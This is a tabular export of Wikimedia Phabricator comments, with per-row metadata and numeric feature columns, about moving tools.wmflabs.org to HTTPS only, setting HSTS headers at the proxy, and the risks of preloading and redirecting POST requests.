988111,Migrate tools.wmflabs.org to https only (and set HSTS),HSTS should help with (a),,,1514654008,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,1.0,HSTS should help with (a)
988011,Migrate tools.wmflabs.org to https only (and set HSTS),"https://hstspreload.org/?domain=tools.wmflabs.org

{F12139559 size=full}",,,1514605878,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,"URL

{F12139559 size=full}"
988010,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?

It will effect all of tools.wmflabs.org, but ... I turned this header on for the admin tool in October (T102367#3686094) and we have not had any widespread reports of problems caused by it. I think we really can start setting this header globally at the proxy and also redirecting GET requests from http to https. We should **not** redirect non-HTTPS POST requests as the behavior of that is undefined for clients (some detail in T128409#2233337).

>>! In T102367#3863924, @Krenair wrote:
> Edit: Turns out this was done above anyway... I'd still be cautious and to have a go at T128409 first

I think I tend to agree with @scfc's comment in T128409#2073647 that we really can't reliably certify that everything will work over HTTPS before trying to switch. We can however be ready to respond to reports of breakage by helping tool maintainers update their code. The most common causes I can think of would be (a) hardcoded http protocols on URLs and (b) frameworks generating absolute links which are not respecting the `X-Forwarded-Proto` header sent by the proxy. We should try to document how to fix (b) for common frameworks before flipping this switch globally.",,,1514605753,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,1.0,0.3333333333333333,0.0,0.0,1.3333333333333333,3.6666666666666665,0.6666666666666666,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.0,4.0,1.3333333333333333,5.0,11.333333333333334,0.3333333333333333,2.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,1.0,1.0,0.3333333333333333,2.0,1.0,0.6666666666666666,1.6666666666666667,0.0,0.0,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,13.666666666666666,0.3333333333333333,1.0,0.0,1.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.0,2.3333333333333335,1.6666666666666667,8.666666666666666,0.6666666666666666,1.3333333333333333,5.333333333333333,0.0,0.0,0.0,0.0,6.333333333333333,0.0,0.0,0.0,5.0,11.333333333333334,3.0,0.0,0.0,0.0,5.0,0.0,1.3333333333333333,0.0,0.0,3.0,0.0,0.3333333333333333,1.0,4.269607843137255,0.8284313725490197,"QUOTE
QUOTE

It will effect all of tools.wmflabs.org, but ... I turned this header on for the admin tool in October (T102367#3686094) and we have not had any widespread reports of problems caused by it. I think we really can start setting this header globally at the proxy and also redirecting GET requests from http to https. We should **not** redirect non-HTTPS POST requests as the behavior of that is undefined for clients (some detail in T128409#2233337).

QUOTE
QUOTE

I think I tend to agree withSCREEN_NAME's comment in T128409#2073647 that we really can't reliably certify that everything will work over HTTPS before trying to switch. We can however be ready to respond to reports of breakage by helping tool maintainers update their code. The most common causes I can think of would be (a) hardcoded http protocols on URLs and (b) frameworks generating absolute links which are not respecting the CODE header sent by the proxy. We should try to document how to fix (b) for common frameworks before flipping this switch globally."
988000,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?

I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to start using HSTS across tools.wmflabs.org.
Long-term solution to prevent that class of problems: T125589

Edit: Turns out this was done above anyway... I'd still be cautious and to have a go at T128409 first",,,1514602755,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,1.0,1.0,5.0,1.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,5.0,0.0,8.0,13.0,0.0,5.0,1.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,4.0,0.0,4.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,13.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,18.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,13.0,8.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.960526315789474,0.8421052631578947,"QUOTE
QUOTE

I would think it will break other tools that don't support HTTPS. We should probably add this header to CODE in CODE until we're ready to start using HSTS across tools.wmflabs.org.
Long-term solution to prevent that class of problems: T125589

Edit: Turns out this was done above anyway... I'd still be cautious and to have a go at T128409 first"
987997,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?

I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to start using HSTS across tools.wmflabs.org.
Long-term solution to prevent that class of problems: T125589",,,1514602573,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,13.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,4.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,8.0,13.0,6.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.173076923076923,0.8653846153846154,"QUOTE
QUOTE

I would think it will break other tools that don't support HTTPS. We should probably add this header to CODE in CODE until we're ready to start using HSTS across tools.wmflabs.org.
Long-term solution to prevent that class of problems: T125589"
987995,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?

I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf` until we're ready to turn it on at the proxy level.
Long-term solution to prevent that class of problems: T125589",,,1514602553,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,6.0,0.0,4.0,15.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,19.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,9.0,15.0,4.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.759259259259259,0.8518518518518519,"QUOTE
QUOTE

I would think it will break other tools that don't support HTTPS. We should probably add this header to CODE in CODE until we're ready to turn it on at the proxy level.
Long-term solution to prevent that class of problems: T125589"
987994,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3863889, @Legoktm wrote:
> If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?

I would think it will break other tools that don't support HTTPS. We should probably add this header to `proxy_hide_header` in `modules/dynamicproxy/templates/urlproxy.conf`
Long-term solution to prevent that class of problems: T125589",,,1514602448,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,22.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,7.0,10.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.951219512195122,0.8780487804878049,"QUOTE
QUOTE

I would think it will break other tools that don't support HTTPS. We should probably add this header to CODE in CODE
Long-term solution to prevent that class of problems: T125589"
987988,Migrate tools.wmflabs.org to https only (and set HSTS),"If I have my tool set a `strict-transport-security: max-age=86400` header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?",,,1514597803,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,130,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,15.0,9.0,0.0,6.0,0.0,0.0,15.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4545454545454546,0.8787878787878788,"If I have my tool set a CODE header, will that impact other tools as well since they're on the same subdomain? Or will it just affect my tool?"
948173,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3686227, @BBlack wrote:
> Be careful with `preload`.  It's only purpose is to signal to the Chromium list maintainers that it's ok to you preload you (making HSTS more-or-less permanent), and once you're emitting anyone can submit your domain for preload inclusion.

Yikes. I removed that flag from the header.",,,1508110471,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,21.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.8571428571428571,"QUOTE
QUOTE

Yikes. I removed that flag from the header."
948172,Migrate tools.wmflabs.org to https only (and set HSTS),"Be careful with `preload`.  It's only purpose is to signal to the Chromium list maintainers that it's ok to you preload you (making HSTS more-or-less permanent), and once you're emitting anyone can submit your domain for preload inclusion.",,,1508110283,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,0.0,2.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,4.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,12.0,14.0,4.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,4.0,4.0,0.0,0.0,3.8627450980392157,0.8431372549019608,"Be careful with CODE.  It's only purpose is to signal to the Chromium list maintainers that it's ok to you preload you (making HSTS more-or-less permanent), and once you're emitting anyone can submit your domain for preload inclusion."
948155,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T128409#2233337, @BBlack wrote:
> What you can do to help modern browsers, though, without taking the redirect and/or POST-breakage risks, is universally add a long-duration HSTS header so that they lock onto HTTPS if they've ever visited once via HTTPS.

I have added a PHP based redirect from http -> https into https://tools.wmflabs.org/admin/tool/admin. I have also added a logic to that app that will set `Strict-Transport-Security: max-age:86400; includeSubDomains; preload` on all responses. This will be a small experiment towards the idea of adding an HSTS to all dynamicproxy responses.",,,1508098812,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,119,True,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,23.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,13.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,3.811320754716981,0.7735849056603774,"QUOTE
QUOTE

I have added a PHP based redirect from http -> https into URL I have also added a logic to that app that will set CODE on all responses. This will be a small experiment towards the idea of adding an HSTS to all dynamicproxy responses."
948154,Migrate tools.wmflabs.org to https only (and set HSTS),"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=https://tools.wmflabs.org/sal/log/AV8hrS8gwg13V62850dA} [2017-10-15T20:15:18Z] <bd808> Updated tool-admin-web from 83d3174 to 9994980 (Redirect http -> https & set STS header with 1day duration) T102367",,,1508098519,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,119,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,11.0,0.0,0.0,7.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,3.3392857142857144,0.8035714285714286,"{nav icon=file, name=Mentioned in SAL (#wikimedia-cloud), href=URL [2017-10-15T20:15:18Z] <bd808> Updated tool-admin-web from 83d3174 to 9994980 (Redirect http -> https & set STS header with 1day duration) T102367"
843135,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#3021211, @scfc wrote:
> Is there any resistance to redirecting `GET` requests from `http` to `https` at the proxy?

Long overdue.",,,1492317753,,PHID-USER-6dmbpidylyt4dzsxzjg4,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,93,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5714285714285716,0.8571428571428571,"QUOTE
QUOTE

Long overdue."
808383,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#2891340, @bd808 wrote:
> I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.

>>! In T102367#2891486, @Legoktm wrote:
> We could do the same thing as what we did in prod. Allow HTTP POST for a while, then make a percentage of requests fail, and then finally make them all fail.

Is there any resistance to redirecting `GET` requests from `http` to `https` at the proxy?",,,1486980961,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,84,True,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,33.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,25.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.6666666666666666,"QUOTE
QUOTE

QUOTE
QUOTE

Is there any resistance to redirecting CODE requests from CODE to CODE at the proxy?"
781739,Migrate tools.wmflabs.org to https only (and set HSTS),"We could do the same thing as what we did in prod. Allow HTTP POST for a while, then make a percentage of requests fail, and then finally make them all fail.",,,1482274747,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,8.0,11.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,11.0,0.0,3.0,11.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,8.0,11.0,8.0,0.0,0.0,0.0,8.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,3.5,0.8333333333333334,"We could do the same thing as what we did in prod. Allow HTTP POST for a while, then make a percentage of requests fail, and then finally make them all fail."
781699,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#2891340, @bd808 wrote:
> I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.

The place where this breaks is request cycles that start with an HTTP POST. There is no mechanism in the HTTP protocol to redirect a POST.",,,1482272682,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,28.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,12.0,6.0,25.0,3.0,0.0,19.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,3.9375,0.84375,"QUOTE
QUOTE

The place where this breaks is request cycles that start with an HTTP POST. There is no mechanism in the HTTP protocol to redirect a POST."
781695,Migrate tools.wmflabs.org to https only (and set HSTS),"I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. As @yuvipanda pointed out in T102367#2214936, TLS termination happens in front of the tools themselves.",,,1482272471,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,76,True,2.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,6.0,0.0,7.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,7.0,2.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,6.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,4.388888888888889,0.7962962962962963,"I really think we could just flip the switch at the ingress proxy and then deal with the fallout. Mixed content warnings/errors are really all that I can think of that may come up. AsSCREEN_NAME pointed out in T102367#2214936, TLS termination happens in front of the tools themselves."
781690,Migrate tools.wmflabs.org to https only (and set HSTS),"I've been using HTTPS Everywhere for a long time. This extension has [[ https://github.com/EFForg/https-everywhere/blob/master/src/chrome/content/rules/Wikimedia.xml#L29 | a rule for tools.wmflabs.org ]], ensuring that all my connections with the subdomain use HTTPS, and I haven't experienced any issues for now.

This is an important task. I think that we should define a deadline and contact all the developers of Tool Labs to explain that, if their tools only support HTTP, they could stop running in X months if they aren't adapted.

An HTTPS-only Tool Labs could be a nice point in our wishlist for 2017, don't you think?",,,1482272299,,PHID-USER-iewalftlcj4ecoy4eyqx,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,76,True,2.0,0.0,0.0,1.0,2.0,3.0,1.5,0.0,0.0,1.5,1.5,2.5,0.0,1.5,0.0,3.5,0.0,4.0,10.0,0.0,1.0,0.5,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,5.0,2.0,0.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,2.5,0.5,1.0,0.0,0.0,0.0,0.0,1.0,11.0,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,5.5,2.5,11.5,3.5,1.5,8.5,0.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,7.0,10.0,6.0,1.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.5,3.793103448275862,0.7931034482758621,"I've been using HTTPS Everywhere for a long time. This extension has [[ URL | a rule for tools.wmflabs.org ]], ensuring that all my connections with the subdomain use HTTPS, and I haven't experienced any issues for now.

This is an important task. I think that we should define a deadline and contact all the developers of Tool Labs to explain that, if their tools only support HTTP, they could stop running in X months if they aren't adapted.

An HTTPS-only Tool Labs could be a nice point in our wishlist for 2017, don't you think?"
647430,Migrate tools.wmflabs.org to https only (and set HSTS),">>! In T102367#1372878, @Nemo_bis wrote:
>> Should be fairly simple to do.
> 
> I doubt this is possible. Several tools do not support https.

Webservices don't directly interact with HTTPS - it is the proxy that does. ",,,1461002905,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,True,,,41,True,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,26.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,26.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8260869565217392,0.782608695652174,"QUOTE
QUOTE
QUOTE
QUOTE

Webservices don't directly interact with HTTPS - it is the proxy that does. "
491140,Migrate tools.wmflabs.org to https only (and set HSTS),"Change 218117 merged by BBlack:
dynamicproxy: Allow proxies to be https only

[[https://gerrit.wikimedia.org/r/218117]]",,,1436830590,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ak4rjdpcc34ufkgyoi7b,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.9047619047619047,0.8571428571428571,"Change 218117 merged by BBlack:
